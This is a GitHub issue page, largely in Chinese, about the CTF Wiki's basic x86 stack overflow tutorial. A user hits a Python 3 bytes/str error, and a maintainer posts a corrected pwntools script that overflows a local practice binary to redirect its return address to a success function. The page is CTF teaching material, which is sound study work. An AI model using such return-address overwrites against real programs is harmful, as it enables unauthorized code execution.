We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
ctf-wiki/docs/zh/docs/pwn/linux/user-mode/stackoverflow/x86 /stackoverflow-basic.md 中执行 p32(success_addr) 和字符串拼接的时候报错。 我应该怎么改进呢?
TypeError Traceback (most recent call last) Cell In[5], line 1 ----> 1 payload = 'a' * 0x14 + 'bbbb' + p32(success_addr)
TypeError: can only concatenate str (not "bytes") to str
The text was updated successfully, but these errors were encountered:
@james-ma 这个脚本之前应该是用 python2 写的。你可以把改成 python3。
Sorry, something went wrong.
脚本编写年代较为久远(当时主流还是python2 ),你可以先自行将其更改为 Python3 的写法:
##coding=utf8 from pwn import * ## 构造与程序交互的对象 sh = process('./stack_example') success_addr = 0x0804843b ## 构造payload payload = b'a' * 0x14 + b'bbbb' + p32(success_addr) print(p32(success_addr)) ## 向程序发送字符串 sh.sendline(payload) ## 将代码交互转换为手工交互 sh.interactive()
Wiki 组将择日进行相关脚本的更新。
ctf-wiki/docs/zh/docs/pwn/linux/user-mode/stackoverflow/x86 /stackoverflow-basic.md 中执行 p32(success_addr) 和字符串拼接的时候报错。 我应该怎么改进呢? payload = 'a' * 0x14 + 'bbbb' + p32(success_addr) TypeError Traceback (most recent call last) Cell In[5], line 1 ----> 1 payload = 'a' * 0x14 + 'bbbb' + p32(success_addr) TypeError: can only concatenate str (not "bytes") to str
#6dbb7ed 关于这个文件的代码已经修改, 具体修改也可以参考上面 @arttnba3 的回复
No branches or pull requests
ctf-wiki/docs/zh/docs/pwn/linux/user-mode/stackoverflow/x86 /stackoverflow-basic.md 中执行 p32(success_addr) 和字符串拼接的时候报错。 我应该怎么改进呢?
payload = 'a' * 0x14 + 'bbbb' + p32(success_addr)
TypeError Traceback (most recent call last)
Cell In[5], line 1
----> 1 payload = 'a' * 0x14 + 'bbbb' + p32(success_addr)
TypeError: can only concatenate str (not "bytes") to str
The text was updated successfully, but these errors were encountered: